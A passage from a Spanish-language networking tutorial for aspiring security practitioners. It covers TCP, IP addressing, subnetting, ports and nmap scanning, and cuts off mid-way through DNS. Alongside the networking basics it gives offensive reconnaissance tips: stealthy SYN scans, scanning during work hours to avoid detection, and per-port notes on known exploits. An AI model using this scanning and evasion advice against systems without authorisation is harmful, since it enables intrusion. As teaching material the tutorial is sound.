# Si se pierde el paquete 3, el servidor dice "¡Me falta el 3!"
# El cliente retransmite SOLO ese paquete 3

## Significado de las flags:
SYN = "Synchronize" - Quiero iniciar una conexión
SYN/ACK = "Synchronize + Acknowledge" - Acepto tu conexión y te confirmo
ACK = "Acknowledge" - He recibido tu mensaje
DATA = "Data" - Aquí van los datos reales
PSH = "Push" - Envía estos datos inmediatamente, sin almacenar en búfer
FIN = "Finish" - Quiero cerrar la conexión
RST = "Reset" - Algo salió mal, abortar todo
                                                                                                   |
```

#### 🔎 Referencia rápida:

<table><thead><tr><th width="263" align="center">Mensaje</th><th align="center">Descripción</th></tr></thead><tbody><tr><td align="center"><mark style="color:$info;">SYN</mark></td><td align="center"><mark style="color:$info;">Cliente inicia la conexión y sincroniza</mark></td></tr><tr><td align="center"><mark style="color:$info;">SYN/ACK</mark></td><td align="center"><mark style="color:$info;">Servidor confirma el intento de conexión</mark></td></tr><tr><td align="center"><mark style="color:$info;">ACK</mark></td><td align="center"><mark style="color:$info;">Confirma que los paquetes se recibieron bien</mark></td></tr><tr><td align="center"><mark style="color:$info;">DATA</mark></td><td align="center"><mark style="color:$info;">Se envían los datos reales</mark></td></tr><tr><td align="center"><mark style="color:$info;">PSH</mark></td><td align="center"><mark style="color:$info;">Envía los datos inmediatamente sin esperar más en el búfer</mark></td></tr><tr><td align="center"><mark style="color:$info;">FIN</mark></td><td align="center"><mark style="color:$info;">Cierra la conexión de forma ordenada</mark></td></tr><tr><td align="center"><mark style="color:$info;">RST</mark></td><td align="center"><mark style="color:$info;">Cierra la conexión de gole (error o fallo)</mark></td></tr></tbody></table>

***

### Cierre de Conexión TCP

```bash
CLIENTE                                          SERVIDOR
   |                                                |
   |  ---- FIN (seq=500) ----------------------->   |  Paso 1: El cliente quiere cerrar
   |                                                |
   |  <--- ACK (ack=501) -----------------------    |  Paso 2: El servidor reconoce
   |                                                |
   |  <--- FIN (seq=700) -----------------------    |  Paso 3: El servidor también cierra
   |                                                |
   |  ---- ACK (ack=701) ----------------------->   |  Paso 4: El cliente confirma
   |                                                |
   |  ============ CONEXIÓN CERRADA =============   |
   
# Este es un cierre "ordenado"
# Ambas partes acuerdan terminar
# Flag RST = cierre "forzado" - algo salió mal
```

<details>

<summary>🔥Ataque SYN Flood (Dos Clásico) - (click aquí)</summary>

<mark style="color:$info;">Los atacantes explotan el handshake enviando miles de paquete SYN pero nunca completando el handshake. El servidor asigna recursos para cada conexión semi-abierta, esperando ACKs que nunca llegan.</mark>

```bash
# Flujo del ataque:
Atacante → SYN → Servidor    # El servidor asigna memoria, espera
Atacante → SYN → Servidor    # Más memoria, más espera
Atacante → SYN → Servidor    # Aún más...
[10,000 paquetes SYN más...]
Servidor: "¡No puedo aceptar más conexiones!"

# Los usuarios legítimos no pueden conectarse porque:
# - La tabla de conexiones está llena
# - Memoria agotada
# - CPU ocupada procesando conexiones falsas

# Defensa: SYN cookies
# El servidor no asigna recursos hasta que el handshake se complete
# Usa cookies criptográficas en los números de secuencia
```

</details>

***

### Entendiendo la Estructura de Paquetes

Cada paquete en la red tiene **encabezados de múltiples capas apilados juntos**. Entender esta estructura es crucial para crear y analizar paquetes.

```bash
# Estructura completa de un paquete (Ethernet + IP + TCP + Data):

ETHERNET HEADER (14 bytes)
├── Destination MAC (6 bytes)
├── Source MAC (6 bytes)
└── EtherType (2 bytes) → 0x0800 = IPv4

IP HEADER (20+ bytes)
├── Version (4 bits) → 4 = IPv4
├── Header Length (4 bits)
├── Type of Service (1 byte)
├── Total Length (2 bytes)
├── Identification (2 bytes)
├── Flags + Fragment Offset (2 bytes)
├── TTL - Time To Live (1 byte)
├── Protocol (1 byte) → 6 = TCP, 17 = UDP
├── Header Checksum (2 bytes)
├── Source IP (4 bytes)
└── Destination IP (4 bytes)

TCP HEADER (20+ bytes)
├── Source Port (2 bytes)
├── Destination Port (2 bytes)
├── Sequence Number (4 bytes)
├── Acknowledgment (4 bytes)
├── Data Offset + Flags (2 bytes)
├── Window Size (2 bytes)
├── Checksum (2 bytes)
└── Urgent Pointer (2 bytes)

DATA PAYLOAD
└── Tus datos reales (HTTP request, file, etc.)
```

***

### Wireshark: Viendo paquetes en acción

Wireshark te permite **capturar y analizar** tráfico de red. Así es como puedes ver el handshake de tres vías en la vida real:

```bash
# Inicia Wireshark y comienza a capturar en tu interfaz de red
# Filtra para ver solo handshakes TCP:
tcp.flags.syn == 1

# Verás algo como esto:
No.  Tiempo   Origen         Destino        Info
1    0.0000   192.168.1.100  93.184.216.34  [SYN] Seq=0
2    0.0234   93.184.216.34  192.168.1.100  [SYN, ACK] Seq=0 Ack=1
3    0.0235   192.168.1.100  93.184.216.34  [ACK] Seq=1 Ack=1

# Otros filtros útiles:

# Ver solo tráfico HTTP:
http

# Ver tráfico de un host específico:
ip.addr == google.com

# Ver tráfico de un puerto específico:
tcp.port == 443

# Reconstruir una conversación completa:
Clic derecho en un paquete → Follow → TCP Stream
```

#### 🎯 Ejercicio Práctico&#x20;

<mark style="color:$info;">Abre Wireshark, inicia la captura y luego navega a cualquier sitio web. Observa cómo ocurre el handshake en tiempo real: primero el SYN, luego SYN-ACK, después el ACK, y finalmente la petición y respuesta HTTP. Ver esto con tus propios ojos te ayudará a entender realmente cómo funciona.</mark>

***

### Máquinas de Estados TCP

Las conexiones TCP pasan por **varios estados**. Entenderlos te ayudará a interpretar resultados de escaneos de puertos y problemas de conexión:

```bash
# Estados de conexión TCP:

LISTEN       # Servidor esperando conexiones (puerto "abierto")
SYN-SENT     # Cliente envió SYN, esperando respuesta
SYN-RECEIVED # Servidor recibió SYN, envió SYN-ACK
ESTABLISHED  # Conexión activa, los datos pueden fluir
FIN-WAIT-1   # Cliente envió FIN, esperando ACK
FIN-WAIT-2   # Cliente recibió ACK, esperando FIN del servidor
TIME-WAIT    # Esperando antes de cerrar completamente
CLOSE-WAIT   # Servidor recibió FIN, enviando datos restantes
LAST-ACK     # Servidor envió FIN, esperando ACK final
CLOSED       # Conexión completamente cerrada

# Ver conexiones activas:
netstat -an        # Todas las conexiones, direcciones numéricas
ss -tunap          # Linux - estadísticas de sockets
```

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Direcciones IP: El Sistema de Direccionamiento de Internet

Cada dispositivo en una red necesita una dirección única para que otros dispositivos sepan dónde enviar los datos. Las **direcciones IP** son esas direcciones: son la forma fundamental en que internet enruta el tráfico desde el origen hasta el destino.&#x20;

<details>

<summary>🏠 La Metáfora de la Dirección Postal (click aquí)</summary>

<mark style="color:$info;">Las direcciones IP son como direcciones postales para ordenadores:</mark><br>

* País: <mark style="color:$info;">La primera parte de la IP identifica el bloque de red grande</mark>

* Ciudad: <mark style="color:$info;">La siguiente parte reduce a una red regional</mark>

* Calle: <mark style="color:$info;">Reduce aún más a una subred específica</mark>

* Número de casa: <mark style="color:$info;">La parte final identifica el dispositivo específico</mark>\
  \ <mark style="color:$info;">Al igual que el correo viaja de país → ciudad → calle → casa, los paquetes viajan desde red grande → red más pequeña → subred → dispositivo.</mark>

</details>

***

### Direcciones IPv4

Ipv4 es el sistema de **direccionamiento original** de internet. Usa **32 bits** para crear direcciones, dándonos aproximadamente **4.3 mil millones de direcciones posibles** (que ya se han agotado).

```bash
# Formato IPv4: Cuatro números (0-255) separados por puntos
192.168.1.100

# Cada número se llama "octeto" (8 bits = 1 byte)
# Total: 4 octetos × 8 bits = 32 bits

# Desglose en binario:
192     = 11000000  (128 + 64 = 192)
168     = 10101000  (128 + 32 + 8 = 168)
1       = 00000001  (1)
100     = 01100100  (64 + 32 + 4 = 100)

# Binario completo:
11000000.10101000.00000001.01100100

# Total de direcciones IPv4 posibles:
2^32 = 4,294,967,296 (aproximadamente 4.3 mil millones)

# Problema: La Tierra tiene 8 mil millones de personas con múltiples dispositivos cada una
# Nos hemos quedado completamente sin direcciones IPv4
# Soluciones: NAT, CGNAT, e IPv6
```

***

### Clases de Direcciones IP (Histórico)

Originalmente, las direcciones IP se dividían en clases. Aunque el direccionamiento con clases está obsoleto, aún escucharás estos términos:

<table><thead><tr><th width="101" align="center">Clase</th><th width="187" align="center">Rango Primer Octeto</th><th width="190" align="center">Máscara por Defecto</th><th width="135" align="center">Redes</th><th align="center">Hosts/Red</th></tr></thead><tbody><tr><td align="center"><mark style="color:$info;">A</mark></td><td align="center"><mark style="color:$info;">1-126</mark></td><td align="center"><mark style="color:$info;">255.0.0.0 (/8)</mark></td><td align="center"><mark style="color:$info;">128</mark></td><td align="center"><mark style="color:$info;">16+ millones</mark></td></tr><tr><td align="center"><mark style="color:$info;">B</mark></td><td align="center"><mark style="color:$info;">128-191</mark></td><td align="center"><mark style="color:$info;">255.255.0.0 (/16)</mark></td><td align="center"><mark style="color:$info;">16,384</mark></td><td align="center"><mark style="color:$info;">65,534</mark></td></tr><tr><td align="center"><mark style="color:$info;">C</mark></td><td align="center"><mark style="color:$info;">192-223</mark></td><td align="center"><mark style="color:$info;">255.255.255.0 (/24)</mark></td><td align="center"><mark style="color:$info;">2+ millones</mark></td><td align="center"><mark style="color:$info;">254</mark></td></tr><tr><td align="center"><mark style="color:$info;">D</mark></td><td align="center"><mark style="color:$info;">224-239</mark></td><td align="center"><mark style="color:$info;">N/A</mark></td><td align="center"><mark style="color:$info;">Multicast</mark></td><td align="center"><mark style="color:$info;">N/A</mark></td></tr><tr><td align="center"><mark style="color:$info;">E</mark></td><td align="center"><mark style="color:$info;">240-255</mark></td><td align="center"><mark style="color:$info;">N/A</mark></td><td align="center"><mark style="color:$info;">Reservada</mark></td><td align="center"><mark style="color:$info;">N/A</mark></td></tr></tbody></table>

***

### Direcciones IP Reservadas que DEBES Conocer

Existen rangos de direcciones IP **reservados para propósitos específicos**. Conocerlas es esencial tanto para administración de redes como para ciberseguridad.&#x20;

|                  Dirección/Rango                  |                                Propósito                                |                                                                Notas de Seguridad                                                               |
| :-----------------------------------------------: | :---------------------------------------------------------------------: | :---------------------------------------------------------------------------------------------------------------------------------------------: |
|    <mark style="color:$info;">127.0.0.1</mark>    |     <mark style="color:$info;">Localhost - tu propia máquina</mark>     | <mark style="color:$info;">Los ataques SSRF a menudo apuntan aquí. Servicios que "solo escuchan en localhost" pueden alcanzarse vía SSRF</mark> |
|   <mark style="color:$info;">127.0.0.0/8</mark>   |       <mark style="color:$info;">Rango completo de loopback</mark>      |               <mark style="color:$info;">127.0.0.2, 127.1.2.3 - todos apuntan a tu máquina. ¡Puede evadir filtros básicos!</mark>               |
|    <mark style="color:$info;">10.0.0.0/8</mark>   |         <mark style="color:$info;">Red privada (Clase A)</mark>         |         <mark style="color:$info;">Organizaciones grandes. 16 millones de direcciones. Redes internas, no enrutables en internet.</mark>        |
|  <mark style="color:$info;">172.16.0.0/12</mark>  |         <mark style="color:$info;">Red privada (Clase B)</mark>         |                           <mark style="color:$info;">172.16.0.0 - 172.31.255.255. Común en redes corporativas.</mark>                           |
|  <mark style="color:$info;">192.168.0.0/16</mark> |         <mark style="color:$info;">Red privada (Clase C)</mark>         |                 <mark style="color:$info;">¡Tu red doméstica! 192.168.0.0 - 192.168.255.255. El rango privado más común.</mark>                 |
|     <mark style="color:$info;">0.0.0.0</mark>     | <mark style="color:$info;">Todas las direcciones/no especificada</mark> |           <mark style="color:$info;">Vinculación a 0.0.0.0 = escucha en TODAS las interfaces. ¡Peligroso si no es intencional!</mark>           |
| <mark style="color:$info;">255.255.255.255</mark> |               <mark style="color:$info;">Broadcast</mark>               |                                <mark style="color:$info;">Se envía a todos en la red local. DHCP usa esto.</mark>                               |
|  <mark style="color:$info;">169.254.0.0/16</mark> |           <mark style="color:$info;">Link-local (APIPA)</mark>          |                         <mark style="color:$info;">Se asigna cuando DHCP falla. Indica mala configuración de red.</mark>                        |

***

### IPs Públicas vs IPs Privadas

Cuando se habla de direcciones IP, es importante entender las **diferencias entre IP pública e IP privada**, ya que cada una cumple funciones distintas en la red.&#x20;

```bash
# IP PÚBLICA:
# - Única en todo internet
# - Asignada por tu ISP
# - Enrutable en internet
# - Ejemplo: 203.45.67.89

# IP PRIVADA:
# - Solo única dentro de tu red local
# - Asignada por tu router (DHCP)
# - NO enrutable en internet
# - Ejemplos: 192.168.1.100, 10.0.0.50, 172.16.5.25

# ¿Cómo acceden las IPs privadas a internet?
# NAT - Network Address Translation (Traducción de Direcciones de Red)

# Tu ordenador: 192.168.1.100
# Envía paquete a: 93.184.216.34 (example.com)
# El router traduce:
#   Origen: 192.168.1.100 → Tu IP pública (203.45.67.89)
# La respuesta vuelve a tu IP pública
# El router recuerda y reenvía a 192.168.1.100

# Por eso no puedes conectarte directamente a 192.168.1.100 desde fuera
# ¡Necesitas port forwarding o una reverse shell!
```

### ¿Por qué las IPs privadas Importan en Ciberseguridad?

Entender IPs públicas vs privadas es crucial para:

* <mark style="color:$primary;">Pivoting:</mark> <mark style="color:$info;">Una vez dentro de una red, puedes alcanzar IPs privadas que internet no puede ver</mark>
* <mark style="color:$primary;">SSRF:</mark> <mark style="color:$info;">Engañar a servidores para que hagan peticiones a recursos internos (privados)</mark>
* <mark style="color:$primary;">Reverse shells:</mark> <mark style="color:$info;">Tu callback debe ir a tu IP PÚBLICA, no a la privada</mark>
* <mark style="color:$primary;">Internal recon:</mark> <mark style="color:$info;">Mapear redes 10.x, 172.x, 192.168.x revela la infraestructura interna de la organización y posibles objetivos</mark>

***

### Subnetting: Dividiendo Redes

El **Subnetting** divide una red en fragmentos más pequeños. La máscara de subred determina qué parte de una dirección IP corresponde a la porción de **"red"** y cuál a la de **"host"**.

```bash
# Conceptos básicos de la máscara de subred:
IP:        192.168.1.100
Subred:    255.255.255.0   (o /24 en notación CIDR)

# La máscara de subred divide la IP:
# 255 en binario = 11111111 (todo 1s = porción de red)
# 0 en binario   = 00000000 (todo 0s = porción de host)

# 255.255.255.0 significa:
# Primeros 3 octetos (192.168.1) = Dirección de red (identifica qué red es)
# Último octeto (100)            = Dirección de host (identifica al dispositivo)

# En esta red (192.168.1.0/24):
# 192.168.1.0     = Dirección de red (identifica a la red misma)
# 192.168.1.1     = Usualmente la puerta de enlace (tu router)
# 192.168.1.2-254 = Hosts disponibles (253 direcciones utilizables)
# 192.168.1.255   = Dirección de broadcast (llega a todos los hosts)

# Cálculo del número de hosts:
# /24 = 8 bits de host = 2^8 = 256 direcciones
# Menos 2 (red + broadcast) = 254 hosts utilizables
```

***

### Notación CIDR

La notación **CIDR** (CLassless Inter-Domain Routing) es la forma moderna de **expresar subredes**. El número después de la barra indica cuántos bits pertenecen a la porción de red.

```bash
# Ejemplos de CIDR:
/32 = 255.255.255.255 = 1 dirección     (host único)
/31 = 255.255.255.254 = 2 direcciones   (enlaces punto a punto)
/30 = 255.255.255.252 = 4 direcciones   (2 utilizables - subred diminuta)
/29 = 255.255.255.248 = 8 direcciones   (6 utilizables)
/28 = 255.255.255.240 = 16 direcciones  (14 utilizables)
/27 = 255.255.255.224 = 32 direcciones  (30 utilizables)
/26 = 255.255.255.192 = 64 direcciones  (62 utilizables)
/25 = 255.255.255.128 = 128 direcciones (126 utilizables)
/24 = 255.255.255.0   = 256 direcciones (254 utilizables) - red doméstica típica
/23 = 255.255.254.0   = 512 direcciones  
/22 = 255.255.252.0   = 1,024 direcciones
/16 = 255.255.0.0     = 65,536 direcciones
/8  = 255.0.0.0       = 16,777,216 direcciones

# Cálculo rápido:
# Hosts = 2^(32 - CIDR) - 2
# /24 → 2^8 - 2 = 254 hosts utilizables
# /16 → 2^16 - 2 = 65,534 hosts utilizables
```

***

### IPv6: El Futuro

Ipv6 utiliza **128 bits** en lugar de 32, dándonos muchísimas más direcciones. Es decir, una cantidad incomprensiblemente mayor.

```bash
# Formato IPv6: Ocho grupos de 4 dígitos hexadecimales
2001:0db8:85a3:0000:0000:8a2e:0370:7334

# Se puede abreviar:
# Eliminando ceros a la izquierda: 2001:db8:85a3:0:0:8a2e:370:7334
# Colapsando ceros consecutivos:   2001:db8:85a3::8a2e:370:7334

# Direcciones totales posibles:
2^128 = 340,282,366,920,938,463,463,374,607,431,768,211,456
# Eso es 340 sextillones (escala larga) - suficiente para miles de millones 
# de direcciones por cada átomo en la Tierra.

# Direcciones IPv6 especiales:
::1                = Localhost (como 127.0.0.1)
::                 = Todo ceros (no especificada)
fe80::/10          = Link-local (como 169.254.x.x)
fc00::/7           = Local única (como las IPv4 privadas)
2000::/3           = Unicast global (direcciones públicas)

# Nota para hackers: ¡Muchas redes tienen IPv6 habilitado pero sin seguridad!
# Los firewalls configurados para IPv4 podrían ignorar el tráfico IPv6.
```

### Implicaciones de Seguridad en IPv6

IPv6 abre nuevas superficies de ataque:

* <mark style="color:$info;">Los sistemas de Dual-stack pueden tener una seguridad IPv6 más débil</mark>
* <mark style="color:$info;">Ipv6 no necesita NAT, por lo que los dispositivos internos pueden ser accesibles directamente</mark>
* <mark style="color:$info;">El protocolo Neighbor Discovery (NDP) es vulnerable a ataques similares al ARP spoofing</mark>
* <mark style="color:$info;">Muchas herramientas de seguridad aún no son totalmente compatibles con IPv6</mark>

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Puertos: Números de Apartamento para Servicios

Si una dirección IP es la dirección de un edificio, los puertos son los números de apartamento. Estos **dirigen el tráfico de red hacia servicios específicos** que se ejecutan en una máquina. Un solo servidor con una sola IP puede ejecutar docenas de servicios diferentes, cada uno escuchando en un puerto diferente.

<details>

<summary>🏢 La Metáfora del Edificio de Apartamentos (click aquí)</summary>

<mark style="color:$info;">Imagina un gran edificio de apartamentos:</mark><br>

* Dirección del edificio (IP): <mark style="color:$info;">192.168.1.100</mark>

* Apartamento 22: <mark style="color:$info;">Aquí vive SSH (acceso seguro por consola)</mark>

* Apartamento 80: <mark style="color:$info;">Aquí vive HTTP (servidor web)</mark>

* Apartamento 443: <mark style="color:$info;">Aquí vive HTTPS (web segura)</mark>

* Apartamento 3306: <mark style="color:$info;">Aquí vive MySQL (base de datos)</mark>\
  \ <mark style="color:$info;">Cuando llega un visitante, necesitan tanto la dirección COMO el número de apartamento. Un paquete a 192.168.1.100:80 va al servidor web, mientras que 192.168.1.100:22 va al SSH - Mismo edificio, diferentes residentes.</mark>

</details>

***

### Puertos Básicos

```bash
# Categorías de puertos:

# Puertos bien conocidos (0-1023): 
#   Reservados para servicios privilegiados
#   Requieren root/admin para ser asignados (en Unix)
#   Aquí residen los protocolos estándar

# Puertos registrados (1024-49151):
#   Las aplicaciones pueden registrarlos ante la IANA
#   Aplicaciones comunes utilizan estos rangos

# Puertos dinámicos/efímeros (49152-65535):
#   Utilizados para conexiones del lado del cliente
#   Tu navegador usa un puerto aleatorio aquí para conectar con servidores

# Ejemplo: Visitas https://google.com
Tu navegador: 192.168.1.100:54321  → Google: 142.250.80.14:443
              (efímero aleatorio)        (puerto HTTPS estándar)
```

***

### Puertos que DEBES conocer

Estos puertos **aparecen constantemente** en el ámbito del hacking y la ciberseguridad. Memorizarlos es **fundamental para identificarlos** rápidamente.

<table><thead><tr><th width="120">Puerto</th><th width="146">Servicio</th><th width="126">Protocolo</th><th>Nota de Seguridad</th></tr></thead><tbody><tr><td><mark style="color:$info;">20/21</mark></td><td><mark style="color:$info;">FTP</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Credenciales en texto claro. Login anónimo frecuentemente habilitado. Modo activo vs pasivo</mark></td></tr><tr><td><mark style="color:$info;">22</mark></td><td><mark style="color:$info;">SSH</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Shell segura. Objetivo de fuerza bruta. Búsqueda de credenciales débiles, autenticación basada en claves</mark></td></tr><tr><td><mark style="color:$info;">23</mark></td><td><mark style="color:$info;">Telnet</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Texto claro. Todo el tráfico visible. Fácil de robar credenciales. No debe usarse</mark></td></tr><tr><td><mark style="color:$info;">25</mark></td><td><mark style="color:$info;">SMTP</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Envío de correo electrónico. Enumeración de usuarios (VRFY, EXPN). Abuso de Open Relay</mark></td></tr><tr><td><mark style="color:$info;">53</mark></td><td><mark style="color:$info;">DNS</mark></td><td><mark style="color:$info;">TCP/UDP</mark></td><td><mark style="color:$info;">Las transferencias de zona exponen todos los subdominios. DNS Spoofing. Envenenamiento de caché</mark></td></tr><tr><td><mark style="color:$info;">80</mark></td><td><mark style="color:$info;">HTTP</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Web sin cifrar. XSS, SQLi, CSRF, LFI, RFI, RCE... infinitas vulnerabilidades</mark></td></tr><tr><td><mark style="color:$info;">110</mark></td><td><mark style="color:$info;">POP3</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Recuperación de correo electrónico. A menudo, texto claro. Fuerza bruta</mark></td></tr><tr><td><mark style="color:$info;">111</mark></td><td><mark style="color:$info;">RPCbind</mark></td><td><mark style="color:$info;">TCP/UDP</mark></td><td><mark style="color:$info;">Sun RPC. Asigna servicios a puertos. Oro para la enumeración</mark></td></tr><tr><td><mark style="color:$info;">135</mark></td><td><mark style="color:$info;">MS-RPC</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">RPC de Windows. Numerosos exploits. Necesario para DCOM</mark></td></tr><tr><td><mark style="color:$info;">139</mark></td><td><mark style="color:$info;">NetBIOS</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Redes Windows. SMB sobre NetBIOS. Ataques heredados</mark></td></tr><tr><td><mark style="color:$info;">143</mark></td><td><mark style="color:$info;">IMAP</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Recuperación de correo electrónico. Puede ser texto sin cifrar. Objetivo de fuerza bruta</mark></td></tr><tr><td><mark style="color:$info;">443</mark></td><td><mark style="color:$info;">HTTPS</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Web cifrada. Aún existen vulnerabilidades a nivel de aplicación. Problemas con el certificado</mark></td></tr><tr><td><mark style="color:$info;">445</mark></td><td><mark style="color:$info;">SMB</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Uso compartido de archivos de Windows. EternalBlue</mark></td></tr><tr><td><mark style="color:$info;">993</mark></td><td><mark style="color:$info;">IMAPS</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">IMAP seguro sobre TLS. Aún susceptible a ataques de fuerza bruta</mark></td></tr><tr><td><mark style="color:$info;">995</mark></td><td><mark style="color:$info;">POP3S</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">POP3 seguro sobre TLS</mark></td></tr><tr><td><mark style="color:$info;">1433</mark></td><td><mark style="color:$info;">MSSQL</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Microsoft SQL Server. Credenciales predeterminadas. xp_cmdshell RCE</mark></td></tr><tr><td><mark style="color:$info;">1521</mark></td><td><mark style="color:$info;">Oracle</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Bases de datos Oracle. Enumeración de SID. Credenciales predeterminadas</mark> </td></tr><tr><td><mark style="color:$info;">3306</mark></td><td><mark style="color:$info;">MySQL</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Base de datos MySQL. ¿Root sin clave? INTO OUTFILE para shells</mark></td></tr><tr><td><mark style="color:$info;">3389</mark></td><td><mark style="color:$info;">RDP</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Escritorio remoto. Fuerza bruta. BlueKeep. Posible MITM</mark></td></tr><tr><td><mark style="color:$info;">5432</mark></td><td><mark style="color:$info;">PostgreSQL</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Base de datos Postgres. COPY para lectura y escritura de archivos. Posible RCE</mark></td></tr><tr><td><mark style="color:$info;">5900</mark></td><td><mark style="color:$info;">VNC</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Computación en red virtual. Autenticación débil. Fuerza bruta.</mark> </td></tr><tr><td><mark style="color:$info;">6379</mark></td><td><mark style="color:$info;">Redis</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">Caché de Redis. Normalmente sin autenticación. Escribir Keys para RCE</mark></td></tr><tr><td><mark style="color:$info;">8080</mark></td><td><mark style="color:$info;">HTTP-Alt</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">HTTP alternativo. A menudo, servidores de desarrollo y pruebas. Servidores proxy</mark></td></tr><tr><td><mark style="color:$info;">27017</mark></td><td><mark style="color:$info;">MongoDB</mark></td><td><mark style="color:$info;">TCP</mark></td><td><mark style="color:$info;">MongoDB. A menudo sin autorización. Bases de datos expuestas por todas partes</mark></td></tr></tbody></table>

***

### Escaneo de Puertos con Nmap

El escaneo de puertos es la fase fundamental del reconocimiento.

```bash
# Escaneos básicos:
nmap 192.168.1.1              # Escanea los 1000 puertos principales
nmap -p 80,443 192.168.1.1    # Escanea puertos específicos
nmap -p- 192.168.1.1          # Escanea los 65535 puertos (lento)
nmap -p 1-1000 192.168.1.1    # Escanea un rango de puertos

# Tipos de escaneo:
nmap -sT 192.168.1.1    # TCP Connect (handshake completo, deja muchos logs)
nmap -sS 192.168.1.1    # SYN scan (sigiloso, medio abierto) [por defecto, requiere root]
nmap -sU 192.168.1.1    # Escaneo UDP (lento, poco fiable)
nmap -sV 192.168.1.1    # Detección de versiones (¿qué software es?)
nmap -sC 192.168.1.1    # Scripts predeterminados (escaneo de vulns básico)
nmap -A 192.168.1.1     # Agresivo (SO, versiones, scripts, traceroute)
nmap -O 192.168.1.1     # Detección de sistema operativo (OS)

# Velocidad (T0=más lento/sigiloso, T5=más rápido/ruidoso):
nmap -T4 192.168.1.1    # Rápido pero fácilmente detectable por Firewalls/IDS.

# Formatos de salida:
nmap -oN scan.txt       # Salida normal
nmap -oX scan.xml       # Salida en XML
nmap -oG scan.gnmap     # Salida "grepable" (fácil de filtrar)
nmap -oA scan           # Todos los formatos a la vez

# Escaneo de red:
nmap -sn 192.168.1.0/24     # Ping sweep (encontrar hosts activos)
nmap -sn 10.0.0.0/8 --min-rate 1000   # Barrido rápido de una red enorme
```

***

### Comprendiendo los Resultados del Escaneo

```bash
# Estados de los puertos en Nmap:

open            # El servicio está escuchando y aceptando conexiones.
                # ¡Esto es exactamente lo que buscas encontrar! 

closed          # El puerto es accesible pero no hay ningún servicio escuchando.
                # El host está activo; el puerto respondió con un paquete RST.

filtered        # Nmap no puede determinar si está abierto o cerrado.
                # Un Firewall o filtro de paquetes está bloqueando las sondas.

unfiltered      # El puerto es accesible, pero Nmap no distingue si está abierto o cerrado.
                # Solo aparece en los escaneos de tipo ACK.

open|filtered   # Nmap no puede decidir entre abierto o filtrado.
                # Es muy común en los escaneos UDP.

closed|filtered # Nmap no puede decidir entre cerrado o filtrado.
                # Poco frecuente.
```

### El Arte del Escaneo de Puertos

El escaneo de puertos no se limita a ejecutar Nmap. Considera lo siguiente:

* <mark style="color:$primary;">Sigilo:</mark> <mark style="color:$info;">¿Te detectarán los IDS/IPS? Usa escaneos más lentos y menos puertos</mark>
* <mark style="color:$primary;">Integridad:</mark> <mark style="color:$info;">A veces, servicios valiosos se ejecutan en puertos no estándar</mark>
* <mark style="color:$primary;">Información de la versión:</mark> <mark style="color:$info;">Saber que es "Apache 2.4.49" en lugar de solo "puerto 80 abierto" lo cambia todo</mark>
* <mark style="color:$primary;">UDP:</mark> <mark style="color:$info;">Todos se olvidan de UDP, DNS, SNMP, DHCP. Son las principales superficies de ataque críticas</mark>
* <mark style="color:$primary;">Horario:</mark> <mark style="color:$info;">Escanea durante horas laborales para mezclarte con el tráfico normal de la red</mark>&#x20;

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## DNS: La guía telefónica de Internet

DNS (Domain Name System) **traduce nombres legibles** para humanos como `google.com` en direcciones IP que los ordenadores pueden usar. Sin DNS, tendrías que memorizar las direcciones IP de cada sitio web. **DNS es una infraestructura crítica** y, por lo tanto, críticamente explotable.

<details>

<summary>📞 La Metáfora de la Guía Telefónica (click aquí)</summary>

* <mark style="color:$info;">Quieres llamar a "Pizza Palace" pero no sabes su número</mark>
* <mark style="color:$info;">Buscas en la guía telefónica (consulta DNS)</mark>
* <mark style="color:$info;">El libro te dice: "Pizza Palace = 555-1234"</mark>
* <mark style="color:$info;">¡Ahora ya puedes llamarlos!</mark>

<mark style="color:$info;">DNS es la guía telefónica de Internet: preguntas "¿cuál es el número de google.com?" y el DNS devuelve "142.250.80.14".</mark>

<mark style="color:$info;">**Ángulo de ataque:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">¿Qué pasaría si alguien te diera una guía telefónica falsa? Llamarías al número equivocado y podrías dar información confidencial a un extraño. Eso es el DNS spoofing.</mark>

</details>

***

### Cómo funciona el DNS (Paso a paso)

```bash
Escribes: www.example.com en tu navegador

PASO 1: Caché del Navegador
└── El navegador verifica: "¿He buscado esto en los últimos minutos?"
    └── Si es así, usa la IP en caché. ¡Listo!
    └── Si no, continúa...

PASO 2: Caché del Sistema Operativo
└── El SO verifica su propia caché DNS
    # Windows: ipconfig /displaydns
    # Linux:   systemd-resolve --status
    └── Si la encuentra, devuelve la IP. ¡Listo!
    └── Si no, continúa...

PASO 3: Archivo Hosts
└── El SO busca en /etc/hosts (Linux) o C:\Windows\System32\drivers\etc\hosts
    └── Aquí residen las sobreescrituras manuales
    └── Ejemplo: 192.168.1.100  miservidor.local
    └── Si lo encuentra, devuelve la IP. ¡Listo!
    └── Si no, continúa...

